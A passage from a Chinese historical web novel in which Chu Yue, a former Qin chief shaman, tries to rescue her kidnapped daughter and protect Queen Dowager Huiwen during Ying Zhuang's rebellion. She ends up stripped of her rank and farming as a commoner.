楚越哼了声,“折腾的哪是我,是他们的傅姆。” 傅姆们天天跟在几人身后,收拾烂摊子,楚越实在过意不去,只能给她们加点工资。折腾的不是她,是她的钱。 要是她一个人带这四个孩子,恐怕孩子是第一天带的,东南枝是第二天挂的。 楚越翻了个身,仰面躺在白起怀中,闭上眼睛,“你看着他们,我要小憩一会儿。”夏日炎热,总容易犯困,但四个孩子非要人盯着不可,否则不知道他们会悄悄作什么妖。 白起‘嗯’了声,目光微微一垂,大片风光便猝不及防闯入眸中,丝麻轻薄,隐约可见衣下皮肉,楚越这么一转,衣服随着肩膀的弧度滑落,半边锁骨精致。她全不在意,脸上甚至因为少了衣服的束缚闷热,而隐隐惬意。 锁骨下隐约星点红痕,若隐若现于丝麻衣下。 白起轻轻拉起她垂落的衣服,盖回原位。 他就这么坐在榻上,怀中楚越睡颜宁静,他握着她的手,凉风阵阵,吹动纱帘,驱散夏日炎热。 世界安静,唯闻鸣蝉阵阵,他凝望怀中楚越,几丝愁容,如蜻蜓掠过其水面,涟漪圈圈荡开,消散在无垠湖面之上。 楚越一觉睡得舒适,再睁眼已经是傍晚,她望着窗外暮色,不由恍惚,分明只是小小睡了一会儿,怎么已经过去这么久了。白起端着漆盘,从屋外走入,见楚越醒了,唤她过去吃饭。 “睡醒了就吃饭吧。” 楚越脑子一僵,反问道:“那吃完饭呢?” “你要是想继续睡觉也可以,只要睡得着。” 楚越下床,埋怨道:“你怎么不叫我?” “我倒是想叫你,叫不醒。”白起将漆盘上的杯盏碗碟依次放在几案上,又将筷子放在楚越手边,“你难道不饿吗?” “睡着了还饿什么?”楚越懒散道。 楚越拿起浅口汤匙,搅了搅面前的粟米粥,蒸汽氤氲间,她漫不经心的开口,“近几日,庶长壮频频调兵,你知道吗?” 白起垂眸,“知道,他是庶长,有调兵的权力,这并不违反秦法。” “他还去见了惠文后和悼武后。” 嬴荡死后,谥为悼武王,他的王后便佩戴上他的谥号,成为悼武后。 两位王后,都是魏国的公主,出嫁的公主,很少有返回母国的,少数归国,也是走投无路,或被丈夫休弃,或因为儿子死了,夫国没有容身之处,才返回母国。 留给她们的路不多,或放下权柄,从此做个清心寡欲的孀妇,远离朝政,不问世事。低头,是保命的方法。 可原本,她们应该是秦国的中心人物。 王后,和王相匹之人,母后,连王都要低头的人,悼武王去世,按道理,国内唯一能立君的,只有武王的母后惠文后,她才是法统。她的意志没有得到贯彻,公子稷成了新王,现在,权柄即将离她们远去,她们转而要向别人低头。 这让向来站在人群中心的她们如何甘心?于是孤注一掷,想要保全自己的地位。 只要魏国还是秦国的外戚之国,她们就会被善待,她们不能让楚人抢走自己的地位和荣耀,于是两位王后和嬴壮来往密切。 白起没有回答,作为禁军将领之一,他不可能不知道此事,见对方没有反应,楚越继续道: “我很小的时候,就来到秦国,卫夫人不喜欢我,经常罚我在宫墙下站着,也不许人和我说话。后来惠文后嫁来秦国,大王将我交给她抚养,她对我很好,如姊如母。” “她时常带着我去见大王,见到大王的机会多了,他便对我熟悉,于是我们君臣关系,愈发深厚。她为我找傅姆、女师,我因此和宗室中人结识。国都中的人,都以为我是国君家的孩子,就连你,起初也以为我是女公子,但其实我不是,我只是一个无名无姓的孤儿。” “没有王后,靠我自己,我只是秦国宗祝下小小的一个司巫,也许一生,都会在宗庙的烟火中,和神主为伴。她虽然不是我的母亲,却给了一个母亲能给孩子的一切,我不支持她的事情,可我也不能容许别人伤害她。” 楚越放下汤匙,金属的汤匙落在漆碗边缘,发出一道不大不小的声响,“你们要做的事情我不管,嬴壮、嬴雍,我都不在乎,但是王后不能有事。” 白起脸上的神情顿时严肃起来,“你知道?” 楚越平视白起的眼睛,“我是秦人的大司巫,就算我待在这里,哪里也不去,不过问朝堂上的事情,我也什么都知道。” “惠文后抚养我长大,没有她,就没有今天的阴君楚越。” 白起略作迟疑,“我知道了。” 话说到这地步,楚越也无心再吃饭,她似乎预感到了什么,站起来,绕过几案,窸窸窣窣的衣料摩擦,她大半边身子,全投入了白起怀中,白起单手揽住她的腰,“怎么了?” “睡久了有点难受。” 太阳穴一突一突的跳,似乎有什么东西,将要从脑海中冲出一般,白起扶住她的肩膀,让她卧在自己膝上,拇指按上了她的太阳穴,沉重的力道落到穴位,那跳动的东西被按回原位。 日子依旧稀疏平常的过,这段时间秦国休养生息,并未对外征战,天启阁的消息不多,楚越每隔三五日去一次,剩下的时间,都留在家中,陪伴珠珠和嬴和。 两个孩子一时兴起,要捏泥人,珠珠捏了好几个,放在石头上,楚越凑过去看新鲜,珠珠高兴地指给她看。 “这是阿母。” “这是阿父。” 楚越愣了一下,“你说是什么?” “这是阿父。” 她看了一眼剩下的两个一大一小泥人,问道:“那两个是谁?” “白将军和弟弟啊。” 楚越挑眉,意识到珠珠说的‘阿父’指的是嬴华,她将几个泥人放在一起,又要去摘叶子做菜。 ‘阿母’在中间,楚越望着‘阿母’左边的‘阿父’和右边的‘白起’,一时忍俊不禁,笑着笑着,一股悲凉的感觉迎面袭来,她招手让珠珠过来,细心擦掉她脸上沾着的黄泥。 看着面前的女儿,楚越有些迟疑。 一旦自己出了事,等待着她的命运,也将是未知,齐宣王杀死自己出身秦国王后的事情,还历历在目。如果自己不留给她足够的后盾,爵位、金钱、地位,她以后的人生会很艰 难,公孙的身份,反而会成为束缚。 “珠珠,你愿意一辈子留在母亲身边吗?”楚越问道。 再过一段时间,历史上著名的奇女子北宫婴儿子就会出现在世人眼中,战国策记载,她一辈子都没有嫁人,理由是为了侍奉父母,以尽孝道。赵威后,也就是赵雍的儿媳妇,对婴儿子的孝行大加赞赏,并提出给她一个封号。 楚越别的不敢说,抗压是一等一,她不愿意,谁还能越过她把她的女儿强行嫁给别人?她把他头都拧下来。 珠珠想了想,“不要。” “嗯?”楚越竖眉。 “阿母不让珠珠做这,也不让珠珠做那,珠珠才不要一直留在阿母身边,我要去一个没有阿母的地方,藏起来,让阿母找不到。” 楚越莞尔,皮笑肉不笑,“我的儿,你真的是三天不打上房揭瓦。” 珠珠见楚越这番模样,拔腿就跑,楚越在她身后紧追不舍,“站住!我今天一定要让你知道我的厉害。” 母女二人一个跑,一个追,珠珠在前面跑,楚越在后面追,小孩子到底跑不过大人,眼见楚越马上就要追上自己,珠珠慌不择路,一头撞到了来人怀中。来人往后退了几步,珠珠被巨大的力道反弹,一屁股坐在了地上。 来人扶起珠珠,一边拍她身上的灰,一边笑道:“妹妹怎么这么不小心。” “壮堂兄。” 嬴壮还想说什么,楚越已经大步走了上来,她警惕的将珠珠拉到身后,“壮公子。” “叔母。”嬴壮行礼道。 “不知壮公子大驾光临,有何贵干?” “是宫中的惠文后,思念叔母与妹妹,特派我来,请叔母带着妹妹入宫。” 楚越深吸口气,“我知道了,改日必定带着珠珠入宫拜见惠文后。” 嬴壮不依不饶,“惠文后思念得紧,还请叔母现在就带着妹妹入宫吧。” “我说了,此事我自有定夺。”楚越的口气生硬。 眼见谈不拢,嬴壮的脸沉了下来,他一抬手,大批着甲的武士从门外闯入,府中正忙碌的门客们见势不对,纷纷聚拢,挡在了甲士前路,双方在院中对峙,剑拔弩张。 楚越斜了嬴壮一眼,将珠珠交给婼,让婼将她带回内室。 安置好珠珠,楚越才站起来,迎上嬴壮阴沉的目光,冷笑道:“壮公子未免太过嚣张了,这是秦国、咸阳,公子调动秦军,围我府邸,难道不知有秦法吗?” “我奉惠文后之命,来请阴君入宫,惠文后是惠文王的王后,先王的生母,新王的嫡母,在秦国,她的命令就是秦法。” “那我与你入宫去见惠文后。”楚越道。 嬴壮寸步不让,“惠文后要见的是你们母女。” “谁人在此造次!”威严的呵斥声,从门外传来,大批禁军冲入府中,将嬴壮的禁军团团围住。魏冉一身玄甲,头戴大红鹖冠,一手按腰间佩剑,大步朝内走来,嬴壮调兵,是瞒不过魏冉的。 新王一继位,便任命自己的舅舅魏冉主管禁军。 先把安全掌握在自己手里,再说稳固王权的事情,楚越不清楚这件事究竟是谁的手笔,芈夫人?还是嬴稷自己? “这是咸阳,谁敢在此动武?”魏冉呵斥嬴壮士卒道。 士卒们畏惧秦法,纷纷看向嬴壮,魏冉出现,嬴壮的脸色变得难看,他看了一眼楚越,视线越过她,投向府邸深处。 “君上!”婼满头是血,跌跌撞撞朝楚越跑了过来,魏冉见是婼,瞳孔一阵紧缩,飞奔两步上前,接住了坠地的婼。 “魏和她和几个女官,偷袭打伤了我,和几个门客一起,带走了珠珠,辛带着人去追他们了。” 这一瞬,楚越觉得自己的心快要不跳了。 魏和与几位女官,都是当年惠文后当年为珠珠准备的傅姆、侍从,她们照顾珠珠长大,珠珠一时无法离开她们,楚越虽然忌惮,但拗不过珠珠,谁料千防万防,还是没有想到。 她的门客中,也有细作。 目之所及,婼头上的伤口,还在往外渗血,怒火刹那冲到了脑海,楚越站起身,直朝嬴荡逼了过去,路过一个门客时,顺手抢过了他手中的剑。 寒光闪闪的剑,架到了嬴壮脖颈,锋刃嵌入皮肉,很快渗出血迹。她恶狠狠盯着嬴壮,咬牙切齿道:“把我的孩子还给我。” 魏冉冲上前来,强硬夺过楚越手中的剑,“你不要冲动。” 手空了,楚越挥手就给了嬴壮一耳光,他被打了,不怒反笑,挑衅道:“叔母还想再见到妹妹吗?” 楚越闭眼,口气稍微和缓,“把她还给我,我保你,死的体面一点。” “这个时候了,叔母就不要强撑了。” 楚越装作毫不在意的样子,“你带走了珠珠又怎样?我还有一个孩子,你带走的,只不过是一个女孩,我还有一个儿子。” 嬴壮轻轻‘哦’了声,“既然叔母更在意和弟,那就更在意和弟吧。只是可怜珠珠妹妹,亲生母亲丝毫不顾惜自己,而是顾念弟弟。” 他挑衅的目光中,带着轻蔑的嘲讽,楚越听出他话中意有所指,这轻飘飘一番话,沉重砸在楚越心间的缺口。 女官们,为什么只带走了珠珠,而留下年纪更小,更好控制,相对来说在这个世界中价值更重的嬴和,而仅仅带走了珠珠? 说完,嬴壮便带兵走了,留下身后思绪混乱的楚越,魏冉见楚越脸色不好,询问道:“你没事吧?”楚越看了一眼魏冉,呼出口浊气,强行保持镇定问道:“现在怎么办?” 她没办法了。 打蛇打七寸,她这次真没办法了。 第73章 惠文后之死季君之乱的终结 白起归来,得知珠珠被惠文后带走,发愁的人,从两个,变成了三个,三人围坐在一起,魏冉叹口气,又叹口气,再叹口气,楚越坐不住了,“别叹了,想办法!” “为今之计只能想办法把她抢出来。”白起道。 “抢会不会伤到珠珠。”楚越有些担忧。 魏冉道:“那就偷出来。” “阿母,阿母。”急促的脚步声从廊下传来,下一瞬,一道风风火火的小身影便冲入她怀中,“阿母,姊姊去哪儿了?” 楚越深吸口气,语气尽量和缓的对嬴和道:“姊姊入宫去了,过几日就回来,你在家里乖乖待着,等姊姊回来。” “我也要入宫,我要去找姊姊。”嬴和闹道,“我要找姊姊。” 楚越有些不耐烦起来,“别吵,听话!” 魏冉见楚越生气,忙抱起嬴和,“好了好了,你姊姊让你在家里等她,你要是入宫,你姊姊看到你,她会不高兴的。” 他这么一说,嬴和犹豫了下,不再吵闹,“好吧。” “魏将军,你头上戴的是什么啊。”嬴和被魏冉头上的鹖冠吸引,“像兔耳朵。” 鹖冠,仿鹖鸟张开的羽毛而作,以布制成,取战士如猛禽般英勇善战 但乍一看,真的像兔耳朵 嬴和伸手,就抓住了魏冉的兔耳朵,魏冉连连后仰躲避,嬴和哈哈大笑,一边笑,一边回头对楚越道:“阿母,看兔兔耳朵。” 楚越坚硬的心,陡然空了一块。 她拉过嬴和,认真打量着面前孩子的脸,稚嫩的容颜,眉眼间的确与嬴华有几分相似,这怎么会不是她的儿子呢? 如果这不是她儿子的话,她的儿子又在哪里呢? 她对嬴和总怀着几分特殊感情的,这感情也源于襁褓时的流离失所,也来自于他的生父,嬴华已经死了,他是嬴华在这世上唯一的血脉。两行泪水划过脸颊,楚越将嬴和紧紧抱入怀中。 “我们一定要抢回珠珠,杀了嬴壮。” 门客们得到楚越召唤,齐聚一堂,在得知嬴壮想用珠珠胁迫楚越就范时,有几人立刻劝道:“君上青春正盛,何愁再无子嗣,若从公子壮,恐有覆巢毁卵之险。愿君上为公孙和计,壮士断腕。” 诙短暂沉默,也劝道:“君上若从嬴壮,嬴壮将来也未必会放过君上。” 楚越抬手,压下室内嘈杂,“大王接到密报,嬴壮会同公子雍等人,意图挟持二宫,兵变谋反。王命!” 听到‘王命’二字,众人纷纷起身,垂首听旨,楚越站起身,朗声道:“大王命我,平定嬴壮之乱,如有反抗,格杀勿论。” “诺!” 一切开始之前,楚越去了一趟陵园。 陵园静谧,目前供奉祭品 新鲜,十户守墓人世居于此,为嬴华打理长眠之地。见楚越来了,守陵人向她汇报前日抓住盗墓贼一事,有一伙儿盗墓贼试图盗掘墓内珍宝,被他发现擒获,已经交给官府,他本想立刻前往阴君府邸,禀告此事,没想到楚越这便来了。 “既然交给官府,便由官府判刑吧。” 守墓人离去,楚越屏退左右,独自走近嬴华墓前。 她是个不怎么喜欢扫墓的人,也不想一直等着阿父回来的珠珠失望,所以这些年,她前来祭拜的次数,屈指可数。 楚越独自坐在嬴华墓前良久,迟迟没有开口,她不知道该说些什么,又从何说起,前世之事,如过眼云烟,握不住,抓不到,而现在,又已经终结于死亡。 坟墓就在这里,一切的故事都已经终结,所有的甘愿与不甘愿,都已经沉寂。 “你将我们的孩子带走了吗?”半晌,她轻声问道。 楚越已经想明白了,嬴和不会是她的孩子,如果是的话,王后应该舍弃珠珠而带走他,没有人比王后更清楚一切,珠珠的身世还有嬴和的身世,因为嬴和,就是她的儿子嬴荡抱给自己的。 玉佩找到了,但没有找到孩子。 现在只有一种可能,就是这个孩子已经不在人世。 石刻的墓碑冰凉,楚越额头抵在坚硬的石上,“你将他带走了,能好好照顾他吗?有你在那边照顾他,我就不担心了。也许很快,我也要下来了” “我坚持的信念,便是有仇报仇,有恩报恩,这是底线,不能退却。” 她要保护惠文后,不能让她死。 想到这里,楚越只觉得鼻头一酸,她忽然很委屈道:“你为什么要死?你要是活着,我现在怎么会陷入两难的境地,你要是活着” 嬴华要是活着,今日他们就能并肩作战,相互交付后背,而非彼此猜忌。 噩梦中种种,困扰着楚越,她始终担心一切成真,白起真的杀了惠文后。楚越担心白起会偏向魏冉,或者意志坚定的贯彻新王王令,他始终是个将军,军人以服从命令为天职。 楚越不敢将自己的计划告诉他。 她,猜忌着白起。 这是一件很可笑的事情,可又真切的存在,自己骗了人,于是担心别人也骗她,事关一条人命,楚越不敢赌,只能选择相信自己,而非信任 “你愿意为我而死,却不愿意为我而活,你始终记得你的秦国,你的家,你的兄长。”那些久远的,沉寂于河底的砂石,被水波冲起,浮现日光之下,嬴华拒绝了姬荷让他成为秦王、她做巴王,他们的孩子成为秦巴之主的提议。 “现在秦国也是我的家了,可是你又死了” 她靠在嬴华墓碑前,有一搭没一搭的说着,想到什么说什么,对于死人,她不需要任何防备,即便嬴华活过来,这些话好像也能说。 楚越疲惫叹口气,视线投向天边,彗星长长的尾巴划过天际,留下一道白光。 古人认为彗星不吉利,楚越看到彗星,顿时坐了起来。 许久不上朝的阴君楚越忽然出现在朝堂上,她一开口,就是震惊众人的重磅消息。 “大王,臣夜观天象,有彗星现世,主兵祸,人臣将反。” 这样的消息在秦国朝堂炸开,上下为之议论不止。 楚越在秦国十几年,预言之力列国目睹,事关国运,秦王当即下令,咸阳进入戒备状态,作为禁军的统帅,魏冉便理所掌握越于百官之上的权力。 师出有名,一切进展的十分顺利,以一国之力,对付一个没什么根基的公子,简直是摧枯拉朽。嬴壮意识到不对,却还未走出宫门,便被禁军团团围住,向寿带兵,直奔嬴壮府邸,围剿他的门客,白起和楚越则直奔北宫。 与此同时,嬴壮在禁军中的心腹,也均被拔除。 彗星,是杀戮之星,有天象为借口,预言做背书,秦王不用再等嬴壮先动手,更不会落一个残杀手足的恶名。 一切发生在眨眼之间,北宫的护卫还想带着惠文后突围,与禁军展开激战,楚越站在第一线,紧紧盯着北宫中的情况。混乱之中,她看见了人群后的珠珠,珠珠被魏和紧紧拉着,在护卫的掩护下,往宫外跑去。 楚越看向身旁白起,两人相视一点头,两支箭先后发出,楚越射穿了遮挡的士卒,接踵而至的第二箭,正中魏和咽喉。鲜血飞溅,楚越震惊的看了一眼白起,她以为白起只是会射伤魏和。 珠珠晕厥过去,惠文后见珠珠晕倒,当即扑上前,紧紧将珠珠抱进怀中,用自己的身体遮蔽住她。禁军一拥而上,将惠文后的护卫绞杀,曾经秦国最尊贵的妇人,潦倒的坐在尸山血海之上,身后空无一人。 白起想要往前,却被人挡住,楚越伸手,拦住白起,“到此为止,你们不能进北宫。” 楚越望着面前白起,冷静道:“现在离开,我保证不会有人追究你犯阙之罪,宗室们,正在赶来的路上,他们会怎么弹劾你,我不知道。” 她可以向宗室宣判嬴壮就是反叛的臣子,但惠文后只能是被挟持。 楚越一步一步往前,她的门客们跟在她身后,一行人拔剑,挡在北宫、挡在惠文后之前,楚越的声音清晰落在每一个人耳中,“有我在,谁也不能杀她。” 白起抬手,漆黑的眼中,不带一丝生机,肃然杀气,从他周身蔓延。随着他一声令下,全副武装的秦军,涌入了北宫,北宫顿时陷入了一片血海。 楚越被几个人团团围住,浑身的力气已经用尽,她们用车轮战的战术,依次上前,仅仅消耗她的体力,而不伤害她。门客们,也已经没了力气,或倒地不起,或被杀死,成为众多尸体中的一具。 几个秦军,朝惠文后围了上去。 楚越用力砍开身边的人,想要杀出重围,但被逼退回去,戈矛刺入皮肉的声音,对于征战沙场的将士而言,不过稀疏平常,可现在,楚越觉得这声音犹如噩梦,她不知哪来的力气,将包围圈撞出一个缺口。 她踉踉跄跄朝惠文后奔过去,紧紧抱着她的身体,惠文后剧烈喘息着,鲜血从她的口鼻中流出,她本能抓住楚越的手,像从前无数次,她带着楚越去见嬴驷一样。王后用尽全身力气,喊道:“子越。” 泪水模糊双眼,混合着鲜血,在惠文后脸上横流,她紧紧抓住楚越的手,仿佛一松手,就会失去。那只纤细的手,如断线的风筝般从空中跌落。 楚越的世界一瞬安静。 秦人,杀死了自己的王后,以一种非常血腥,且不体面的方式。 当年的秦出子,和母亲一起被沉入河中,现在的惠文后,刀兵加身。 惠文后死了,不止是她,作乱的公子、大臣,全部被斩首,悼武后,被送回魏国,这场轰轰烈烈的叛乱,以被血腥镇压收场。 第74章 重头再来人到中年被大秦优化且没有n…… 泥地冰凉,还带着淡淡的土腥气,楚越从昏迷中苏醒,发现四周一片漆黑,伸手摸了摸,稻草潮湿。这似乎是监狱,拜嬴壮所赐,楚越短暂的监狱几日游过,故而很清楚监狱的构造。 但这又似乎不是寻常的监狱。 因为即便是关押死囚的监狱,也会有一扇小 窗,这里面什么也没有,唯有几丝缝隙,透过微乎其微的寥寥光亮,让楚越知道外界是天明,而非暗夜。 楚越坐了起来,浑身充斥脱力的酸痛,在黑暗中待了一段时间,她逐渐适应,就着那微弱光亮,摸到了墙边,沿着土墙,往前走去,终于找到了门。 用力一推,门纹丝不动,大门已经被从外封死,她沿着门的轮廓,慢慢摩挲,终于找到了一小块活动的区域,推开之后,眼前一阵刺痛,光亮猝不及防的照了进来。 巨大的光晕慢慢消失,楚越回头,终于看清了自己所处的环境,这不是监狱,而是一间储藏室,房间的角落还堆着大大小小的陶管,用盖子盖了起来。门上的小洞,似乎是新开的,颜色很新,边缘泛着毛糙。 自己这是被软禁起来了,楚越很快意识到。 宗室并没有赶来,不知道是哪个环节出了问题。 现在惠文后已经死去,宗室再来,也没有用了,死人不会辩解,只能承受活人想让她承受的一切罪名。作为保护叛国罪人的人,她也理所应当成了叛贼。 这个由她一手掀起的风浪,已经脱离她的掌控,旋涡转动,将她也卷了进去。 棋差一步,现在已经满盘皆输。 但到底差在哪一步,这是楚越所不知道的,她坐在地上,脑海中开始复盘自己的计划。 以彗星的预言,先发制人,秦国立刻进入戒严状态,作为戒严部队的最高指挥官,魏冉手中有名、有势。诛杀嬴壮,抢回珠珠,只要她能在北宫前,挡住白起,拖到宗室到来,惠文后就有活路。 即便她真和嬴壮谋反,秦国也没有能杀她的人,惠文王死了,她是惠文王的遗孀,秦国的法统所在,谁能杀她?秦国,是嬴氏的秦国,家国同构,当着宗室的面,秦王也要向孝字低头。 可是宗室没有来,为什么呢?楚越想不明白。 她就这样在黑暗与混沌中坐了不知道多久,想得大脑昏昏沉沉,就在意识迷离,眼睛酸涩到快要睁不开的时候,屋外久违传来阵沉重的脚步声,夹杂着铁甲碰撞,来人身上穿着甲胄。 是来杀她的吗? 她清楚自己在做什么,政变只有黄袍加身和死两条路,既然没按自己的预期走,那等着她的一定不是什么体面的结局。 门几乎是被劈开的,光亮一点点随着破洞照入,又被一道高大的身影挡住,白起站在门外,挥手屏退了劈门的士卒。 “楚越。”他轻声道。 白起尽量放轻脚步,谨慎朝楚越靠近,他屏住呼吸,小心翼翼,唯恐自己声音大了,呼吸重了,就惊吓到眼前面如白纸,神情憔悴的女子。 他走到楚越跟前,单膝跪地,轻轻拉起她的手,用衣袖擦掉她手中已经干涸发黑的血迹,楚越低头,看向眼前人,记忆中的少年和而今的青年将军并没有什么太大变化,白起依旧如往昔一般,为她擦去手中血迹。 血迹可以擦掉,杀孽却不能。 所有的噩梦,都变成了真,嬴华死了,白起杀了惠文后。恍惚之间她竟觉得这一切也曾经历过,难道这一世也和前生姬荷一样,是真实发生过,而今又重历一回吗? 楚越望着眼前白起,忽然绝望的意识到一件事实—— 就算真是重来,他还是会这么选,即便重来一千次,一万次,她依旧没办法改变这一切。 泪水滚落,砸在手背,白起手上的动作一僵,抬起头,望向楚越,滚滚泪水,顺着她的脸颊无声滚下。 白起漆黑的眼中,浮现出一丝悲伤,“这是大争之世,我不是可以做谦谦君子的人,是个无名之辈,注定要通过杀戮,才能获得属于自己的东西。张仪仕秦,就要为秦国攻打魏国,我,是秦国的将军,要为秦王的王,扫清障碍。秦国,不需要一位威胁到大王的公子,也不需要一位,要维护地位助纣为虐的母后。” 他似乎在解释,又仿佛在陈述事实。 白起漆黑的眼眸逐渐恢复平静,那一丝荡漾的伤悲,被理性吞噬,“你要做大司巫,做阴君,我也有气血,要和人一争,才不负此生。我虽然出身工匠,又隶于行伍之间,但却未必不能如那些名士一样,建立属于自己的功勋。” “楚越,只有权柄握在手中,才有选择的权力,我不想再如之前一样,失去你。我不想,从前那些无能为力的事情,再一次发生自己身上。” 听到这里,楚越忽然笑了,抽出自己的手,抚上白起的脸颊,“你一定恨我吧?” “我不是没有选择,只是我舍不得自己的军功,舍不得自己的前途,想要获取更高的位置,所以抛弃你。我成为列侯的奠基石,是你全心全意的爱。” “你是否有一日也恍然顿悟,想要抛却这样薄凉的我,往前去呢?可是我又一次出现在你生命中,给了你希望。你于是觉得,自己的感情并非一无是处,只是因为人微言轻。” 天子一怒,流血漂橹。匹夫一怒,流血五步。无论天子还是庶人,都不愿意被忽视,他们的感情,一样炽烈。 楚越低头,泣不成声,她深吸口气,压下心中汹涌的情绪,“是我点燃了你已经死寂的野心,是我让你的生命充斥着不甘与煎熬是我亲手造就这一切” 白起沉默一瞬,但很快道:“我不怨你,我从来不怨你,我只恨自己年少,无能为力。” 不怨,因为也做出了同样的选择。 他注视着楚越,眼中死寂一般的深黑中,星点光芒闪动,哪怕到了如今这地步,白起依旧没有放弃这最后一丝希望。 既然是一样的人,做出了一样的选择,那就不要怨恨,当做什么也没有发生…… 现在他什么都有了,选择命运的权力 两行清泪顺着楚越脸颊滑落。 “我也不怨你。”她最终道。 可说完这话,楚越的手垂了下去,白起伸出的手,扑了个空,她闭眼,头偏向一边,再不看白起。 白起望着面前决绝的女子,已经得到了答案。 “楚越,我们还有一个孩子,你想想珠珠。”白起低声道:“我会娶你,我们一家人,以后会生活在一起。秦军功爵可以赎罪,你不是主谋,只是受牵,大王说了,不会杀你,你不会有事。” “珠珠还记得嬴华,她认嬴华为她的父亲。她并不清楚当年的事情,又还是个孩子,所以你要是想让她以为,她的母亲是一个世人眼中品行败坏的荡//妇,你大可以告知她真相。” “还有,你知道你射杀的是谁吗?那是从小抚养珠珠长大的傅姆,你让珠珠怎么想?”楚越盯着白起的眼睛,“谁要是敢让我的孩子痛苦,不管是谁,我都会杀了他。” 白起眼中震惊,一闪而过。 秦王下旨,赦免楚越死罪,但她的爵位,是保不住了,不仅爵位,官职、土地、宅院,全部被收走,兜兜转转几十年,她又回到了起点——庶民。 人到中年,被大秦公司优化了,可是她分明还没到三十五岁! 被辞退了,还没有N+1,大秦是这样的,一代人有一代人的高管,但是每一代高管,都不得善终。 君位丢失,门客也四散,楚越一手抱着珠珠 ,另一手拉着嬴和,母子三人走出居住了多年的宅院,跟在她身边的,只剩下诙一人,婼和辛不知所踪,楚越问诙,诙一言不发。 “你不走吗?”楚越问诙道。 诙上前,抱起嬴和,状态稳定,口气平和,丝毫不受外界喧嚣影响,“我认识你的时候,你就什么都没有,不也一步一步,成了阴君,同样的路,怎么不能再走第二遍?” 他侧首,看向楚越,“我以前虽然没读过书,但后来也读了一点,知道什么叫,忠义。现在你在为危难之中,一个人带着两个孩子,莫说你从前是我的主君,就是一个寻常女子,我也不能坐视不理。” “你还是个忠臣?!”楚越很意外。 在她眼中,诙是一个很狡猾的人,楚越也正是看中了他的狡猾,这些年,他为自己做了很多事,自己司巫、大司巫、阴君的名声,是他一手营销、维持。如果说,从前的自己掌握了秦国的宣传口,那么诙就掌握了她宣传口。 患难见忠臣,可这个人居然是诙。 诙叹口气,“现在当务之急,是找个地方安顿下来。” “我有钱。”楚越道。 诙瞪大了眼睛,“什么?” 楚越撸起左衣袖,露出一串叮叮当当的金环,又撸起右衣袖,又是一串叮叮当当的金环,臂膀上,还各有一件金臂钏,臂钏呈圆筒状,可以作为臂甲的替代,习武之人,总要穿点护具,楚越的金臂钏,从不离身。 她去北宫之前,又额外将那些嬴华留给她的金环戴在了身上,若是死了,就是陪葬品。 这些镯子上刻了她的名字,以后,她会认出自己的。 研究某某某地出土女尸楚越专题的学者———楚越。 大难不死的话,新王估计也不会放过她,那么这些钱,就是安身立命的本钱。 诙望着她摘下的小山似的金镯子,不可置信道:“你是不是早料到自己有这一天?” 楚越苦笑不语。 第75章 改嫁寡妇改嫁 宦海沉浮,楚越浮了多年,终于迎来了沉底的一天,有钱在秦国没什么太大用处,秦制,按身份等级享有不同待遇,房屋、占地、奴隶,都有明文规定,无爵的庶民,住不了大宅,也不能使唤他人,只能自己种田。 陋室低矮,仅供楚越母子三人和诙一家子暂时栖身,诙的妻子栗提出归乡,但诙以为只有留在咸阳,才有东山再起的机会,他让妻子带着两个孩子先回去,自己再在咸阳停留一段时间。 楚越给了栗一份丰厚的财物。 作为主君,她有赡养门客的义务,既然诙不决定走,要为她效命,诙的妻子就是她的妻子,诙的儿子,就是她的儿子。 陆陆续续有门客找上门来,他们受季君之乱牵连,被逮捕,这几日才被释放,也有些机灵的,见势不对,躲了起来,暗中观察情况。潦倒的门客,坐在屋前空地,望向屋中,他们潦倒的主君。 诙将门客们的情况逐一说给楚越听,楚越听完,将金子拿了大半出来,交给诙,“亡者抚恤,伤者医治,愿意留下的,就再搭一间草屋,想离开的,就给一笔钱作为川资。” 几间草屋在陋室旁拔地而起,官府很快有人来统计户籍,小吏一进门,便愣在了原地。 “诙?!” 诙也很意外,“席?” 两人开心抱在一起,诙拍了拍小吏席的肩膀,“好久不见!你不是高升了吗?怎么在这儿?”席是诙的同乡,当日三人团体中的一个,他归乡之后,做了小吏,因为表现出众,被抽调来咸阳。 楚越闻声,从屋中走出,席已经不记得楚越,误以为她是诙的妻子,“这是嫂子吧?” 诙立刻道:“不可冒犯,这是” 他一时不知该如何称呼楚越,阴君、大司巫已成过过眼云烟。 “她是公子华将军的夫人。”诙想了半天,终于想出一句,“从前的阴君大司巫楚越。” 席的神情立刻变得严肃,朝楚越深深一揖,“公子夫人,冒犯了。” 他是来统计户籍的,秦律对于人口管控十分严格,父子尚不能同居,需要析户另立。他们肯定不能在一个户口本待着,但拆分成多户,意味着多倍的赋税,秦赋泰半 赋税的压力,迫使楚越需要尽快找到谋生之路。 “不然摆个摊?发挥一下现代人的商业头脑。”楚越冥思苦想,想出条解决问题的方案,但很快就被自己否决,大秦重农抑商,厌恶商贾,一旦成为商人,黑历史跟三代。 成了商贾,那就不是庶民,是贱民了。 “从军?” 军功爵并不授给妇人。 先种田吧,大秦只有耕战。 庶民能占的地也不算少,起码混个温饱,但这只是理论上的,诙挥起锄头,挖了一天的地,而后两天内,躺在床上宛如死狗。楚越见他如此疲惫,不信这个邪,于是屋中又多了条死狗。 “种地,怎么这么累?”楚越问诙道。 诙有气无力,“不然你以为我为什么投奔你?而不是回家好好种田?” 两人一点一点,艰难将那些田地开垦,堆成垄亩,掌心的血泡,挑了又生,生了又挑,最后化成厚茧。种子种下,到收获还遥遥无期,诙绝望了,忐忑询问楚越道:“你想到办法没有?” “快了。” “快了是什么时候啊?” 回到家,门客们也陆陆续续从外归来,邻家的妇人从厨房走出,领完做饭的工钱离开。新打的桌子还泛着木头的香气,楚越端起陶碗,将不知道是什么菜的菜粥吹凉,喂到珠珠嘴边。 珠珠不抬头,也不张嘴吃饭,只低头玩着手上的连环,任凭楚越怎么哄,她始终不吃饭。 巨变之后,珠珠和从前判若两人。 活泼的孩子,变得沉默,那双黑色的眼上,蒙着一层淡淡的死气。 姊姊不说话,嬴和也不说话,安安静静坐在一边,看着姊姊,珠珠不吃,楚越只能先喂嬴和,她喂孩子,门客则低声向她汇报今日打听的结果。 “我们几个在咸阳城中打探了很久,宗室之中,在公孙出生那段时间怀妊的妇人,不在少数。” 楚越深吸口气,凝视面前懵懂望着自己的嬴和良久,这相似的眉眼,他应该还是嬴氏血脉,不出任何意外,嬴和的继承权在珠珠之前,他会继承楚越和嬴华的一切,包括列候之位。 他一定是嬴氏的子弟。 现在,只能以嬴和为切入口,在宗室之中寻找同盟。 “先从近支找。”楚越道。 